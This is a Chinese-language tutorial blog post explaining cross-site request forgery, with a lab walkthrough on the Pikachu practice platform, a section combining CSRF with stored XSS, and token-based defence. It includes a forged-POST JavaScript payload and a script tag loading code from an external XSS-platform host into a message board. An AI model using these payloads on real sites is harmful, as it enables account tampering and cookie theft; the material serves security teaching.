天天看點

CSRF(跨站請求僞造)原理與實踐一、原理二、實踐

CSRF原理與實踐

  • 一、原理
  • 二、實踐
    • 2.1 CSRF (get)與(post)
    • 2.2 CSRF結合XSS
    • 2.3 Token防止CSRF

一、原理

Cross-site request forgery 簡稱為“CSRF”,在CSRF的攻擊場景中攻擊者會僞造一個請求(這個請求一般是一個連結),然後欺騙目标使用者進行點選,使用者一旦點選了這個請求,整個攻擊就完成了。是以CSRF攻擊也稱為"one click"攻擊。 很多人搞不清楚CSRF的概念,甚至有時候會将其和XSS混淆,更有甚者會将其和越權問題混為一談,這都是對原理沒搞清楚導緻的。

這裡列舉一個場景解釋一下,希望能夠幫助你了解。

場景需求:

小黑想要修改大白在購物網站www.xx.com上填寫的會員位址。

先看下大白是如何修改自己的密碼的:

登入—修改會員資訊,送出請求—修改成功。

是以小黑想要修改大白的資訊,他需要擁有:1、登入權限 2、修改個人資訊的請求。

但是大白又不會把自己xxx網站的賬号密碼告訴小黑,那小黑怎麼辦?

于是他自己跑到www.xx.com上注冊了一個自己的賬号,然後修改了一下自己的個人資訊(比如:E-mail位址),他發現修改的請求是:

【http://www.xxx.com/[email protected]&Change=Change】

于是,他實施了這樣一個操作:把這個連結僞裝一下,在小白登入xxx網站後,欺騙他進行點選,小白點選這個連結後,個人資訊就被修改了,小黑就完成了攻擊目的。

為啥小黑的操作能夠實作呢。有如下幾個關鍵點:

  1. www.xxx.com這個網站在使用者修改個人的資訊時沒有過多的校驗,導緻這個請求容易被僞造;

是以,我們判斷一個網站是否存在CSRF漏洞,其實就是判斷其對關鍵資訊(比如密碼等敏感資訊)的操作(增删改)是否容易被僞造。

  1. 小白點選了小黑發給的連結,并且這個時候小白剛好登入在購物網上;

如果小白安全意識高,不點選不明連結,則攻擊不會成功,又或者即使小白點選了連結,但小白此時并沒有登入購物網站,也不會成功。

是以,要成功實施一次CSRF攻擊,需要“天時,地利,人和”的條件。

當然,如果小黑事先在xxx網的首頁如果發現了一個XSS漏洞,則小黑可能會這樣做: 欺騙小白通路埋伏了XSS腳本(盜取cookie的腳本)的頁面,小白中招,小黑拿到小白的cookie,然後小黑順利登入到小白的背景,小黑自己修改小白的相關資訊。

—是以跟上面比一下,就可以看出CSRF與XSS的差別:CSRF是借使用者的權限完成攻擊,攻擊者并沒有拿到使用者的權限,可以說是借刀殺人,而XSS是直接盜取到了使用者的權限,然後實施破壞。

是以,網站如果要防止CSRF攻擊,則需要對敏感資訊的操作實施對應的安全措施,防止這些操作出現被僞造的情況,進而導緻CSRF。

比如:

  • 對敏感資訊的操作增加安全的token;
  • 對敏感資訊的操作增加安全的驗證碼;
  • 對敏感資訊的操作實施安全的邏輯流程,比如修改密碼時,需要先校驗舊密碼等。

如果你沒有讀太明白,不要猶豫,請再讀一遍啦

二、實踐

2.1 CSRF (get)與(post)

我用Pikachu漏洞練習平台來實踐一下,首先登陸

CSRF(跨站請求僞造)原理與實踐一、原理二、實踐

點選修改個人資訊,打開burpsuite準備抓包,點選submit

CSRF(跨站請求僞造)原理與實踐一、原理二、實踐

成功抓包,右擊相關工具,CSRF PoC生成

CSRF(跨站請求僞造)原理與實踐一、原理二、實踐

修改相關資料,我這裡修改電話為123123,點選用浏覽器測試,點選複制,當然,你可以僞造一個URL,誘導被攻擊者點選即成功。

CSRF(跨站請求僞造)原理與實踐一、原理二、實踐

在浏覽器打開即成功修改手機号

CSRF(跨站請求僞造)原理與實踐一、原理二、實踐

2.2 CSRF結合XSS

現在CSRF利用基本上都是配合XSS進行,這樣可以降低攻擊成本,擴大危害

首先用burpsuite抓取修改資料的資料包

CSRF(跨站請求僞造)原理與實踐一、原理二、實踐

基本就是這個格式,把資料和網址修改即可

var xmlhttp;
if (window.XMLHttpRequest)
{xmlhttp=new XMLHttpRequest(); }
else
{xmlhttp=new ActiveXObject ("Microsoft.XMLHTTP"); }
xmlhttp.open("POST","http://192.168.130.1/pikachu-master/vul/csrf/csrfpost/csrf_post_edit.php",true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("sex=boy&phonenum=123123&add=usa&email=grady%40pikachu.com&submit=submit") ;
           
CSRF(跨站請求僞造)原理與實踐一、原理二、實踐

找到存儲XSS的留言闆,放入下面的XSS平台代碼

将如下代碼植入懷疑出現xss的地方(注意'的轉義),即可在 項目内容 觀看XSS效果。

<script src=https://xsspt.com/qo87m7></script>
           
CSRF(跨站請求僞造)原理與實踐一、原理二、實踐

submit,檢視網絡請求可以發現代碼已經生效了,響應碼200

CSRF(跨站請求僞造)原理與實踐一、原理二、實踐

資料也被修改

CSRF(跨站請求僞造)原理與實踐一、原理二、實踐

2.3 Token防止CSRF

點選修改個人資訊按鈕後,伺服器會傳回一個個人資訊的表單頁面。表單會嵌入一個隐藏的标簽,标簽的value屬性值為伺服器端生成并存儲在Session中的token,表單資料被送出時,token也會被送出到伺服器。

CSRF(跨站請求僞造)原理與實踐一、原理二、實踐

當填好個人資訊的表單,點選送出後,伺服器不僅檢查資訊是否有空值,還會将表單送出過來的token值也Session中的token值作對比,對比不通過不會執行個人資訊修改操作。

CSRF(跨站請求僞造)原理與實踐一、原理二、實踐

繼續閱讀